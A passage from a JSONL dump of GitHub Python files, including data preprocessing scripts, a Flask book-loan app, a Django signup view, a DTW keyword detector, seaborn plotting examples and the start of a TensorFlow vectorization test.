read_file:\n session = json.loads(line)\n session[\"events\"] = list(filter(lambda d: d['type'] == \"clicks\", session[\"events\"]))\n session[\"events\"] = increment_aids(session[\"events\"])\n num_sessions += 1\n num_events += len(session[\"events\"])\n items.update([event[\"aid\"] for event in session[\"events\"]])\n write_file.write(json.dumps(session, separators=(',', ':')) + \"\\n\")\n if num_sessions % 1000000 == 0:\n log.info(f\"Processed {num_sessions} sessions\")\n return num_sessions, num_events, len(items)\n\n\ndef increment_aids(events):\n for event in events:\n event[\"aid\"] = event[\"aid\"] + 1\n return events\n\n\ndef run_preprocessing_otto(data_dir):\n num_train_sessions, num_train_events, num_items = filter_non_clicks(f\"{data_dir}/otto/otto-recsys-train.jsonl\",\n f\"{data_dir}/otto/otto_train.jsonl\")\n num_test_sessions, num_test_events, _ = filter_non_clicks(f\"{data_dir}/otto/otto-recsys-test.jsonl\",\n f\"{data_dir}/otto/otto_test.jsonl\")\n stats_file = f\"{data_dir}/otto/otto_stats.json\"\n log.info(f\"Writing stats to {stats_file}\")\n write_stats(num_items, num_train_sessions, num_train_events, num_test_sessions, num_test_events, stats_file)\n\n\nclass DatasetConf(Enum):\n YOOCHOOSE = 'yoochoose'\n DIGINETICA = 'diginetica'\n OTTO = 'otto'\n ALL = 'all'\n\n def __str__(self):\n return self.value\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataset\", type=DatasetConf, default=DatasetConf.ALL)\n parser.add_argument(\"--data_dir\", type=str, default=\"datasets\")\n\n args = parser.parse_args()\n data_dir = Path(args.data_dir)\n\n log.basicConfig(level=log.INFO)\n log.info(f\"Running preprocessing for {args.dataset} dataset\")\n\n yoochoose_conf = {\n \"dataset_name\": \"yoochoose\",\n \"data_file\": data_dir / \"yoochoose\" / \"yoochoose-clicks.dat\",\n \"header\": False,\n \"split_seconds\": 86400 * 1, # 1 day (for testing)\n \"split_idx\": -1 # use last session timestamp for split\n }\n\n diginetica_conf = {\n \"dataset_name\": \"diginetica\",\n \"data_file\": data_dir / \"diginetica\" / \"train-item-views.csv\",\n \"header\": True,\n \"split_seconds\": 86400 * 7, # 7 days (for testing)\n \"split_idx\": 0 # use first session timestamp for split\n }\n\n if args.dataset == DatasetConf.YOOCHOOSE:\n run_preprocessing(yoochoose_conf, data_dir)\n elif args.dataset == DatasetConf.DIGINETICA:\n run_preprocessing(diginetica_conf, data_dir)\n elif args.dataset == DatasetConf.OTTO:\n run_preprocessing_otto(data_dir)\n elif args.dataset == DatasetConf.ALL:\n run_preprocessing(yoochoose_conf, data_dir)\n run_preprocessing(diginetica_conf, data_dir)\n run_preprocessing_otto(data_dir)\n\n log.info(\"All done!\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"otto-de/TRON","sub_path":"src/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":10957,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"31"} +{"seq_id":"784348103","text":"\"\"\"\nVerifies if all the spectrograms in a directory are the same dimensionality.\nPrints out any that are not the expected dimensionality.\n\"\"\"\nimport imageio\nimport os\nimport sys\nimport tqdm\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"USAGE: python {} \".format(sys.argv[0]))\n exit(1)\n elif not os.path.isdir(sys.argv[1]):\n print(\"{} is not a valid directory.\".format(sys.argv[1]))\n exit(2)\n\n remove = sys.argv[2].strip().lower() == 'y'\n\n targetdir = sys.argv[1]\n fpaths = [os.path.join(targetdir, fname) for fname in os.listdir(targetdir)]\n for fpath in tqdm.tqdm(fpaths):\n spec = imageio.imread(fpath)\n if spec.shape != (241, 20):\n print(\"{} has shape {}\".format(fpath, spec.shape))\n if remove:\n os.remove(fpath)\n","repo_name":"MaxStrange/ArtieInfant","sub_path":"scripts/spectrogram_verifier/verifier.py","file_name":"verifier.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11281032243","text":"from flask import Flask, render_template, redirect, request, url_for, Blueprint, flash, request\nfrom sim.mahasiswa.forms import petugas_F, loginpetugas_F, editpetugas_F, pj_F, editpj_F, BasicForm\nfrom sim.models import Tpetugas, Tpj\nfrom sim import db, bcrypt\nfrom flask_login import login_user, current_user, logout_user, login_required\nfrom flask import Flask, render_template, request, redirect\nfrom flaskext.mysql import MySQL\nimport os\nimport secrets\nfrom sim import app\nfrom PIL import Image\n\n\nrpetugas = Blueprint('rpetugas', __name__)\n\n@rpetugas.route(\"/\")\ndef home():\n return render_template(\"home.html\")\n\n@rpetugas.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n@rpetugas.route(\"/home2\")\ndef home2():\n return render_template(\"home2.html\")\n\n@rpetugas.route(\"/data_petugas\", methods=['GET', 'POST'])\ndef data_petugas():\n form = petugas_F()\n if form.validate_on_submit():\n pass_hash=bcrypt.generate_password_hash(form.password.data).decode('UTF-8')\n add_petugas = Tpetugas(nama=form.nama.data, email=form.email.data, password=pass_hash)\n db.session.add(add_petugas)\n db.session.commit()\n flash(f'Akun- {form.nama.data} berhasil daftar', 'info')\n return redirect(url_for('rpetugas.login_petugas'))\n return render_template(\"data-petugas.html\", form=form)\n\n\n@rpetugas.route(\"/login_petugas\", methods=['GET', 'POST'])\ndef login_petugas():\n if current_user.is_authenticated:\n return redirect(url_for('rpetugas.home'))\n form = loginpetugas_F()\n if form.validate_on_submit():\n cekemail= Tpetugas.query.filter_by(email=form.email.data).first()\n if cekemail and bcrypt.check_password_hash(cekemail.password, form.password.data):\n login_user(cekemail)\n flash('Selamat Datang Kembali', 'warning')\n return redirect(url_for('rpetugas.akunpetugas'))\n else:\n flash('Login Gagal, Periksa NPM dan Password kembali!', 'danger')\n return render_template(\"login_petugas.html\", form=form)\n\n\n@rpetugas.route(\"/akunpetugas\")\n@login_required\ndef akunpetugas():\n return render_template('akunpetugas.html')\n\n\n@rpetugas.route(\"/logout_petugas\")\ndef logout_petugas():\n logout_user()\n return redirect(url_for('rpetugas.home'))\n\n@rpetugas.route(\"/pemberitahuan\")\n@login_required\ndef pemberitahuan():\n #return redirect(url_for('rpetugas.pemberitahuan'))\n dt_pj=Tpj.query.all()\n return render_template('pemberitahuan.html', dt_pj=dt_pj)\n\n\n#simpan foto\ndef simpan_foto(form_foto):\n random_hex= secrets.token_hex(8)\n f_name, f_ext= os.path.splitext(form_foto.filename)\n foto_fn=random_hex + f_ext\n foto_path= os.path.join(app.root_path, 'sim/static/foto', foto_fn)\n ubah_size=(300,300)\n j=Image.open(form_foto)\n j.thumbnail(ubah_size)\n j.save(foto_path)\n #form_foto.save(foto_path)\n return foto_fn\n\n@rpetugas.route(\"/edit_petugas\", methods=['GET', 'POST'])\n@login_required\ndef edit_petugas():\n form=editpetugas_F()\n if form.validate_on_submit():\n if form.foto.data:\n file_foto=simpan_foto(form.foto.data)\n current_user.foto = file_foto\n pass_hash=bcrypt.generate_password_hash(form.password.data).decode('UTF-8')\n current_user.nama=form.nama.data\n current_user.email=form.email.data\n current_user.password=pass_hash\n db.session.commit()\n flash('Data Berhasil di Ubah','warning')\n return redirect(url_for('rpetugas.edit_petugas'))\n elif request.method==\"GET\":\n form.nama.data=current_user.nama\n form.email.data=current_user.email\n\n return render_template(\"edit_petugas.html\", form=form )\n\n\n@rpetugas.route(\"/pj\", methods=['GET', 'POST'])\n@login_required\ndef pj():\n dt_pj=Tpj.query.filter_by(petugas_id=current_user.id)\n form=pj_F()\n if form.validate_on_submit():\n #tambah data pengaduan\n add_pj=Tpj(nama=form.nama.data, nohp=form.nohp.data, kategori=form.kategori.data, kategori2=form.kategori2.data, alamat=form.alamat.data, judul_buku=form.judul_buku.data,\n jumlahbuku=form.jumlahbuku.data,penerbit=form.penerbit.data,nama_petugas=form.nama_petugas.data, petugas=current_user)\n db.session.add(add_pj)\n db.session.commit()\n flash('Data Berhasil di Tambahkan','warning')\n return redirect(url_for('rpetugas.pj'))\n return render_template('peminjaman.html', form=form, dt_pj=dt_pj)\n\n\n@rpetugas.route(\"/pj//update\", methods=['GET', 'POST'])\n@login_required\ndef update_pj(ed_id):\n form=editpj_F()\n dt_pj=Tpj.query.get_or_404(ed_id)\n if request.method==\"GET\":\n form.nama.data=dt_pj.nama\n form.nohp.data=dt_pj.nohp\n form.kategori.data=dt_pj.kategori\n form.kategori2.data=dt_pj.kategori2\n form.alamat.data=dt_pj.alamat\n form.judul_buku.data=dt_pj.judul_buku\n form.jumlahbuku.data=dt_pj.jumlahbuku\n form.penerbit.data=dt_pj.penerbit\n form.nama_petugas.data=dt_pj.nama_petugas\n\n elif form.validate_on_submit():\n dt_pj.nama= form.nama.data\n dt_pj.nohp=form.nohp.data\n dt_pj.kategori=form.kategori.data\n dt_pj.kategori2=form.kategori2.data\n dt_pj.alamat=form.alamat.data\n dt_pj.judul_buku=form.judul_buku.data\n dt_pj.jumlahbuku=form.jumlahbuku.data\n dt_pj.penerbit=form.penerbit.data\n dt_pj.nama_petugas=form.nama_petugas.data\n db.session.commit()\n flash('Data Berhasil di Ubah', 'warning')\n return redirect(url_for('rpetugas.pj'))\n return render_template('edit_peminjaman.html', form=form)\n\n@rpetugas.route(\"/delete/\", methods=['GET', 'POST'])\n@login_required\ndef hapus_pj(id):\n h_pj=Tpj.query.get(id)\n db.session.delete(h_pj)\n db.session.commit()\n flash('Data Berhasil di Hapus', 'warning')\n return redirect(url_for('rpetugas.pemberitahuan'))\n\n\n@rpetugas.route(\"/pj//detail_pj\", methods=['GET', 'POST'])\n@login_required\ndef detail_pj(ed_id):\n dt_pj=Tpj.query.get_or_404(ed_id)\n return render_template('detail_pj.html', dt_pj=dt_pj)\n\n@rpetugas.route(\"/pj//search_pj\", methods=['GET', 'POST'])\n@login_required\ndef search_pj(ed_id):\n form = BasicForm()\n dt_pj=Tpj.query.get_or_404(ed_id)\n if request.method==\"GET\":\n return redirect(url_for('rpetugas.pj'))\n return render_template('pemberitahuan.html', dt_pj=dt_pj)","repo_name":"Smanten/SMAN-10","sub_path":"sim/mahasiswa/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41231979132","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\tTitle:\t\t\t\n\tDescription:\n\tAuthor:\t\t\thaithem ben abdelaziz\n\tDate:\t\t\t\n\tVersion: \t\t\n\tEnvironment:\n\"\"\"\nimport stbt\nimport sc_stbt\n\nregion_end_carousel = stbt.Region(x=31, y=209, width=933, height=113)\n\ndef navigation_stress():\n \"\"\"\n navigation_stress : navigate to a carousel then navigate in this carousel and after Key_Right navigate the movie detail page\n :return:\n \"\"\"\n sc_stbt.navigation_list(menu=\"carousel\" , press=\"KEY_RIGHT\")\n sc_stbt.open_movie_detail_page()\n sc_stbt.select_carousel(press= \"KEY_BACK\")\n\ndef chek_and_navigate():\n \"\"\"\n check if the carousel is over or not\n if the carousel is not over continue navigation\n else select another carousel and continue the navigation_stress()\n :return:\n \"\"\"\n if sc_stbt.is_end_list_navigation(region=region_end_carousel):\n sc_stbt.select_carousel(press=\"KEY_DOWN\")\n navigation_stress()\n else:\n navigation_stress()\n\n\nsc_stbt.back_to_home()\nsc_stbt.select_carousel(press= \"KEY_DOWN\")\nsc_stbt.repeat(lambda: chek_and_navigate(),occurence=60)\n","repo_name":"garou93/inspiration-mission-haithem-CI-CD-python-shell","sub_path":"tests/endurance/endurance_amazon/Loading_60_details_page.py","file_name":"Loading_60_details_page.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20718741215","text":"import os\nimport sys\n\nimport librosa\nimport numpy as np\nimport threading\n\nfrom config import *\nfrom utils import *\n\nnp.set_printoptions(threshold=sys.maxsize, linewidth=np.inf)\n\n\nclass DTWDetector:\n def __init__(self, folder=\"keyword\"):\n self.keyword_MFCCs = []\n self.dist_threshold = 400\n self.length_threshold = 30\n\n for filename in os.listdir(folder):\n if filename.endswith(\".wav\"):\n filepath = os.path.join(folder, filename)\n\n signal = librosa.load(filepath, sr=RATE)[0]\n signal = librosa.util.normalize(signal)\n mfcc = get_mfcc(signal)\n self.keyword_MFCCs.append(mfcc)\n # print(MFCC.shape)\n\n # self.calibrate()\n\n def dtw(self, x, y, dist):\n \"\"\"\n Subsequence Dynamic Time Warping\n :param x: subsequence to find\n :param y: input sequence\n :param dist: Distance function\n :return: Distance, accumulated cost matrix\n \"\"\"\n assert len(x)\n assert len(y)\n assert dist\n\n C = np.zeros((len(x), len(y)))\n for i in range(len(x)):\n for j in range(len(y)):\n C[i, j] = dist(x[i], y[j])\n\n D = np.zeros((len(x), len(y)))\n\n for i in range(len(x)):\n D[i, 0] = np.sum(C[: i + 1, 0])\n\n for j in range(len(y)):\n D[0, j] = C[0, j]\n\n for i in range(1, len(x)):\n for j in range(1, len(y)):\n D[i, j] = C[i, j] + min(D[i - 1, j], D[i, j - 1], D[i - 1, j - 1])\n\n end = np.argmin(D[-1, :])\n\n # backtrack\n distances = D[-1, end]\n i = len(x) - 1\n j = end\n k = 0\n\n while i > 0:\n k += 1\n\n if j == 0:\n i = 0\n break\n\n if D[i, j] == D[i - 1, j - 1] + C[i, j]:\n i -= 1\n j -= 1\n elif D[i, j] == D[i - 1, j] + C[i, j]:\n i -= 1\n else:\n j -= 1\n\n start = j\n distances /= k\n\n return distances, D, start, end\n\n def detect_keyword(self, fbank):\n \"\"\"\n Detect keyword in audio data\n :param fbank: Log Mel filterbank energies\n :return: Prediction, distance\n \"\"\"\n\n results = [None] * len(self.keyword_MFCCs)\n\n def dtw_thread(keyword_MFCC, fbank, index):\n out = self.dtw(\n keyword_MFCC, fbank, dist=lambda x, y: np.linalg.norm(x - y, ord=1)\n )\n results[index] = out\n\n threads = []\n for i, keyword_MFCC in enumerate(self.keyword_MFCCs):\n t = threading.Thread(target=dtw_thread, args=(keyword_MFCC, fbank, i))\n threads.append(t)\n t.start()\n\n for t in threads:\n t.join()\n\n best = min(results, key=lambda x: x[0])\n (dist, D, start, end) = best\n\n min_dist = dist\n\n pred = end - start > self.length_threshold and min_dist < self.dist_threshold\n\n return pred, best\n\n def calibrate(self):\n \"\"\"\n Calibrate the distance threshold\n \"\"\"\n\n dists = []\n for i, mfcc1 in enumerate(self.keyword_MFCCs):\n # print(i, mfcc1.shape)\n for j, mfcc2 in enumerate(self.keyword_MFCCs):\n dist, D, start, end = self.dtw(\n mfcc1, mfcc2, dist=lambda x, y: np.linalg.norm(x - y, ord=2)\n )\n dists.append(dist)\n\n # print(f\"{i:2d} {j:2d} {dist:.2e} {start:2d} {end:2d}\")\n # print(np.array2string(D, precision=2, separator=\", \"))\n\n dist_threshold = np.mean(dists) * 1.5\n print(f\"Distance threshold: {dist_threshold:.2e}\")\n\n self.dist_threshold = dist_threshold\n\n\nif __name__ == \"__main__\":\n detector = DTWDetector()\n\n import time\n\n import pyaudio\n\n RECORD_SECONDS = 1\n CHUNK = int(RATE * RECORD_SECONDS)\n get_input_device_index()\n\n p = pyaudio.PyAudio()\n stream = p.open(\n format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK,\n input_device_index=DEVICE_INDEX,\n )\n\n input_threshold = INPUT_THRESHOLD\n # input_threshold = get_threshold(stream, CHUNK, np.float32)\n # time.sleep(1)\n\n while True:\n print(\"Listening...\")\n stream.start_stream()\n data = stream.read(CHUNK)\n stream.stop_stream()\n\n data = np.frombuffer(data, dtype=np.float32)\n data, duration = truncate_silence(data, input_threshold)\n\n # if data is None or duration < 0.1:\n # print(\"No audio input\")\n # continue\n\n mfcc = get_mfcc(data)\n pred, (dist, D, start, end) = detector.detect_keyword(mfcc)\n\n print(data.shape, mfcc.shape)\n # print(np.array2string(D, precision=0, separator=\" \"))\n\n if pred:\n print(green(f\"Dist: {dist:.2e} {start:2d} {end:2d}\"))\n else:\n print(red(f\"Dist: {dist:.2e} {start:2d} {end:2d}\"))\n\n time.sleep(1)\n","repo_name":"rayray2002/DSP_final_project","sub_path":"dtw.py","file_name":"dtw.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26706382539","text":"from fractions import Fraction\r\nfrom functools import reduce\r\nimport utils\r\n\r\n\r\n__author__ = 'omer.saeed'\r\n\r\nfinalFraction = Fraction(1,1)\r\nfor n in range(11,99):\r\n for d in range(n+1,100):\r\n if n % 10 == d % 10 == 0:\r\n continue\r\n\r\n num = utils.digitizeNumber(n);\r\n den = utils.digitizeNumber(d);\r\n for numx in num:\r\n for denx in den:\r\n if numx == denx:\r\n den.remove(numx)\r\n num.remove(numx)\r\n break\r\n\r\n if len(den) == 2:\r\n continue\r\n\r\n # check if there are any 0s in the den\r\n try:\r\n frTest = Fraction(reduce(lambda x, y: x * y, num, 1), reduce(lambda x, y: x * y, den, 1))\r\n except:\r\n continue\r\n\r\n fr = Fraction(n, d)\r\n\r\n if fr == frTest:\r\n finalFraction = finalFraction * fr\r\n print(fr, finalFraction)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"omersaeed/eulerpython","sub_path":"eulerpython/33-curious-fractions.py","file_name":"33-curious-fractions.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69953165848","text":"## Conditioning on other variables\nimport pandas as pd \nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.style as style\n\nstyle.use(\"ggplot\")\n\n# Load Penguins Dataframe\npenguins = sns.load_dataset(\"penguins\")\nprint(\"Penguins DataFrame \\n\")\nprint(penguins.head(15), \"\\n\")\n\n# Once you understand the distribution of a variable, the next step is often to ask \n# whether features of that distribution differ across other variables in the dataset.\nsns.displot(penguins, x=\"flipper_length_mm\", hue=\"species\").set(\n title = \"Flipper lenght by species\" , xlabel = \"Flipper Lenght[mm]\", ylabel = \"Count\")\n\n\n#By default, the different histograms are “layered” on top of each other and, \n#in some cases, they may be difficult to distinguish. One option is to change \n#the visual representation of the histogram from a bar plot to a “step” plot:\nsns.displot(penguins, x=\"flipper_length_mm\", hue=\"species\", element=\"step\").set(\n title = \"Flipper lenght by species [Step Hist.]\" , xlabel = \"Flipper Lenght[mm]\", ylabel = \"Count\")\n\n# Alternatively, instead of layering each bar, they can be “stacked”, or moved vertically. \n# In this plot, the outline of the full histogram will match the plot with only a single variable:\n\n# Change palette\nsns.set_palette(\"pastel\")\n\nsns.displot(penguins, x=\"flipper_length_mm\", hue=\"species\", multiple=\"stack\").set(\n title = \"Flipper lenght by species [Stack Hist.]\" , xlabel = \"Flipper Lenght[mm]\", ylabel = \"Count\")\n\n# Change palette\nsns.set_palette(\"bright\")\n\n# Poly Hist.\nsns.displot(penguins, x=\"flipper_length_mm\", hue=\"species\", element=\"poly\").set(\n title = \"Flipper lenght by species [Poly Hist.]\" , xlabel = \"Flipper Lenght[mm]\", ylabel = \"Count\")\n\nplt.show()\n\n# The stacked histogram emphasizes the part-whole relationship between the variables, \n# but it can obscure other features (for example, it is difficult to determine the mode of \n# the Adelie distribution.) \n\n# Another option is “dodge” the bars, which moves them horizontally and reduces their width. \n# This ensures that there are no overlaps and that the bars remain comparable in terms of height.\n# But it only works well when the categorical variable has a small number of levels:\nsns.displot(penguins, x=\"flipper_length_mm\", hue=\"sex\", multiple=\"dodge\").set(\n title = \"Flipper lenght by sex [Dodge Hist.]\" , xlabel = \"Flipper Lenght[mm]\", ylabel = \"Count\")\n\n\n\n# Because displot() is a figure-level function and is drawn onto a FacetGrid, \n# it is also possible to draw each individual distribution in a separate subplot by assigning \n# the second variable to col or row rather than (or in addition to) hue.\nsns.displot(penguins, x=\"flipper_length_mm\", col=\"species\", hue = \"sex\", multiple=\"dodge\")\n\n\nplt.show()\n\n","repo_name":"berkabay4/University-of-Michigan-Python-Course","sub_path":"Course-4(Visualization)/seaborn_example07/seaborn_example07/seaborn_example07.py","file_name":"seaborn_example07.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28947682556","text":"from django.shortcuts import render\nfrom django import forms\nfrom django.http import * \nfrom django.template import loader\n\nimport sqlite3\nimport bcrypt\nimport os\n\n# Create your views here.\ndef createAccount(request):\n if request.method == 'POST':\n try:\n uname = request.POST.get('username',None)\n pwd = request.POST.get('password',None)\n pwdVerify = request.POST.get('passwordVerify',None)\n typeChoice = request.POST.get('type',None)\n\n conn = sqlite3.connect(os.path.join('RMHS.db'))\n c = conn.cursor()\n\n c.execute('SELECT * FROM Credentials WHERE c_credentialKey = ?',(uname,))\n row = c.fetchone()\n\n if(pwd != pwdVerify):\n html = \"

    PWDs DONT MATCH

    \"\n else:\n html = \"

    USER ALREADY EXISTS

    \"\n if(row is None):\n salt = bcrypt.gensalt()\n hashedPw = bcrypt.hashpw(pwd.encode('UTF-8'),salt)\n c.execute('INSERT INTO Credentials VALUES (?,?,?,?)',(uname,hashedPw,salt,typeChoice))\n html = \"

    ADDED USER

    \"\n conn.commit()\n request.session['uname'] = uname\n request.session['type'] = typeChoice\n conn.close()\n if(typeChoice == 'R'):\n return HttpResponseRedirect(\"../../Realtor/CreateRealtor\")\n if(typeChoice == 'S'):\n return HttpResponseRedirect(\"../../ServiceProvider/CreateServiceProvider\")\n if(typeChoice == 'U'):\n return HttpResponseRedirect(\"../../home\")\n return Http404(\"\")\n\n conn.close()\n \n\n return HttpResponseRedirect(\"../Account/\")\n except:\n #redirect back to index if possible\n return render(request, 'signUpForm.html')\n else:\n return render(request, 'signUpForm.html')\n","repo_name":"ajberchek/RMHS","sub_path":"DBProject/SignUp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36893237692","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl.testing import parameterized\nimport numpy as np\n\nfrom tensorflow.core.example import example_pb2\nfrom tensorflow.core.example import feature_pb2\nfrom tensorflow.python.data.experimental.ops import batching\nfrom tensorflow.python.data.experimental.ops import optimization\nfrom tensorflow.python.data.kernel_tests import test_base\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import errors\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import bitwise_ops\nfrom tensorflow.python.ops import check_ops\nfrom tensorflow.python.ops import clip_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import nn\nfrom tensorflow.python.ops import parsing_ops\nfrom tensorflow.python.platform import test\n\n\ndef _generate_unary_cwise_math_cases():\n # TODO(rachelim): Consolidate tests with pfor when APIs are somewhat shared.\n bitwise_cases = [(\"Invert\", bitwise_ops.invert)]\n logical_cases = [(\"LogicalNot\", math_ops.logical_not)]\n complex_cases = [\n (\"Angle\", math_ops.angle),\n (\"ComplexAbs\", math_ops.abs),\n (\"Conj\", math_ops.conj),\n (\"Imag\", math_ops.imag),\n (\"Real\", math_ops.real),\n ]\n real_cases = [\n (\"Abs\", math_ops.abs),\n (\"Acos\", math_ops.acos),\n (\"Acosh\", lambda x: math_ops.acosh(1 + math_ops.square(x))),\n (\"Asin\", math_ops.asin),\n (\"Asinh\", math_ops.asinh),\n (\"Atan\", math_ops.atan),\n (\"Atanh\", math_ops.atanh),\n (\"BesselI0e\", math_ops.bessel_i0e),\n (\"BesselI1e\", math_ops.bessel_i1e),\n (\"Ceil\", math_ops.ceil),\n (\"Cos\", math_ops.cos),\n (\"Cosh\", math_ops.cosh),\n (\"Digamma\", math_ops.digamma),\n (\"Elu\", nn.elu),\n (\"Erf\", math_ops.erf),\n (\"Erfc\", math_ops.erfc),\n (\"Exp\", math_ops.exp),\n (\"Expm1\", math_ops.expm1),\n (\"Floor\", math_ops.floor),\n (\"Inv\", math_ops.inv),\n (\"IsFinite\", math_ops.is_finite),\n (\"IsInf\", math_ops.is_inf),\n (\"Lgamma\", math_ops.lgamma),\n (\"Log\", math_ops.log),\n (\"Log1p\", math_ops.log1p),\n (\"Neg\", math_ops.negative),\n (\"Reciprocal\", math_ops.reciprocal),\n (\"Relu\", nn.relu),\n (\"Relu6\", nn.relu6),\n (\"Rint\", math_ops.rint),\n (\"Round\", math_ops.round),\n (\"Rsqrt\", math_ops.rsqrt),\n (\"Selu\", nn.selu),\n (\"Sigmoid\", math_ops.sigmoid),\n (\"Sign\", math_ops.sign),\n (\"Sin\", math_ops.sin),\n (\"Sinh\", math_ops.sinh),\n (\"Softplus\", nn.softplus),\n (\"Softsign\", nn.softsign),\n (\"Sqrt\", math_ops.sqrt),\n (\"Square\", math_ops.square),\n (\"Tan\", math_ops.tan),\n (\"Tanh\", math_ops.tanh),\n ]\n random_input = np.random.rand(3, 5)\n complex_component = np.random.rand(3, 5)\n random_int = np.random.randint(0, 10, (7, 3, 5))\n\n def bitwise_dataset_factory():\n return dataset_ops.Dataset.from_tensor_slices(random_int)\n\n def logical_dataset_factory():\n return dataset_ops.Dataset.from_tensor_slices(random_input > 0)\n\n def random_dataset_factory():\n return dataset_ops.Dataset.from_tensor_slices(random_input)\n\n def complex_dataset_factory():\n return dataset_ops.Dataset.from_tensor_slices(\n math_ops.complex(random_input, complex_component))\n\n case_factory_pairs = [\n (bitwise_cases, bitwise_dataset_factory),\n (logical_cases, logical_dataset_factory),\n (complex_cases, complex_dataset_factory),\n (real_cases, random_dataset_factory),\n ]\n return [(case[0], case[1], factory)\n for cases, factory in case_factory_pairs\n for case in cases]\n\n\ndef _generate_binary_cwise_math_cases():\n bitwise_cases = [(\"BitwiseAnd\", bitwise_ops.bitwise_and),\n (\"BitwiseOr\", bitwise_ops.bitwise_or),\n (\"BitwiseXor\", bitwise_ops.bitwise_xor),\n (\"LeftShift\", bitwise_ops.left_shift),\n (\"RightShift\", bitwise_ops.right_shift)]\n\n logical_cases = [(\"LogicalAnd\", math_ops.logical_and),\n (\"LogicalOr\", math_ops.logical_or)]\n\n # Wrapper functions restricting the range of inputs of zeta and polygamma.\n def safe_polygamma(x, y):\n return math_ops.polygamma(\n math_ops.round(clip_ops.clip_by_value(y, 1, 10)), x * x + 1)\n\n def safe_zeta(x, y):\n return math_ops.zeta(x * x + 1, y * y)\n\n real_cases = [\n (\"Add\", math_ops.add),\n (\"AddV2\", math_ops.add_v2),\n (\"Atan2\", math_ops.atan2),\n (\"Complex\", math_ops.complex),\n (\"DivNoNan\", math_ops.div_no_nan),\n (\"Equal\", math_ops.equal),\n (\"FloorDiv\", math_ops.floor_div),\n (\"FloorMod\", math_ops.floor_mod),\n (\"Greater\", math_ops.greater),\n (\"GreaterEqual\", math_ops.greater_equal),\n (\"Igamma\", math_ops.igamma),\n (\"Igammac\", math_ops.igammac),\n (\"IgammaGradA\", math_ops.igamma_grad_a),\n (\"Less\", math_ops.less),\n (\"LessEqual\", math_ops.less_equal),\n (\"Maximum\", math_ops.maximum),\n (\"Minimum\", math_ops.minimum),\n (\"Mod\", math_ops.mod),\n (\"Mul\", math_ops.multiply),\n (\"NotEqual\", math_ops.not_equal),\n (\"Polygamma\", safe_polygamma),\n (\"Pow\", math_ops.pow),\n (\"RealDiv\", math_ops.divide),\n (\"SquareDifference\", math_ops.squared_difference),\n (\"Sub\", math_ops.subtract),\n (\"TruncateMod\", math_ops.truncate_mod),\n (\"Zeta\", safe_zeta),\n ]\n\n # Exercises broadcasting capabilities\n x = np.random.rand(7, 3, 5)\n y = np.random.rand(3, 5)\n\n x_int = np.random.randint(0, 10, (7, 3, 5))\n y_int = np.random.randint(0, 10, (3, 5))\n\n def bitwise_dataset_factory():\n return dataset_ops.Dataset.from_tensors((x_int, y_int))\n\n def logical_dataset_factory():\n return dataset_ops.Dataset.from_tensors((x > 0, y > 0))\n\n def random_dataset_factory():\n return dataset_ops.Dataset.from_tensors((x, y))\n\n case_factory_pairs = [\n (bitwise_cases, bitwise_dataset_factory),\n (logical_cases, logical_dataset_factory),\n (real_cases, random_dataset_factory),\n ]\n return [(case[0], case[1], factory)\n for cases, factory in case_factory_pairs\n for case in cases]\n\n\ndef _generate_cwise_test_cases():\n return _generate_unary_cwise_math_cases() + _generate_binary_cwise_math_cases(\n )\n\n\ndef _generate_csv_test_case():\n\n def csv_factory():\n return dataset_ops.Dataset.from_tensor_slices([\"1.0:2:a\",\n \"2.4:5:c\"]).repeat(5)\n\n def decode_csv_fn(x):\n return parsing_ops.decode_csv(\n x,\n record_defaults=[\n constant_op.constant([], dtypes.float32),\n constant_op.constant([], dtypes.int32),\n constant_op.constant([], dtypes.string)\n ],\n field_delim=\":\")\n\n return decode_csv_fn, csv_factory\n\n\ndef _generate_parse_single_example_test_case():\n # When sparse tensors are used, map_vectorization is not\n # attempted because the output_shapes of the map dataset are not defined.\n # TODO(rachelim): Consider being more lax with checking the output_shapes of\n # the map node.\n\n def parse_example_factory():\n\n def _int64_feature(*values):\n return feature_pb2.Feature(int64_list=feature_pb2.Int64List(value=values))\n\n def _bytes_feature(*values):\n return feature_pb2.Feature(\n bytes_list=feature_pb2.BytesList(\n value=[v.encode(\"utf-8\") for v in values]))\n\n return dataset_ops.Dataset.from_tensor_slices(\n constant_op.constant([\n 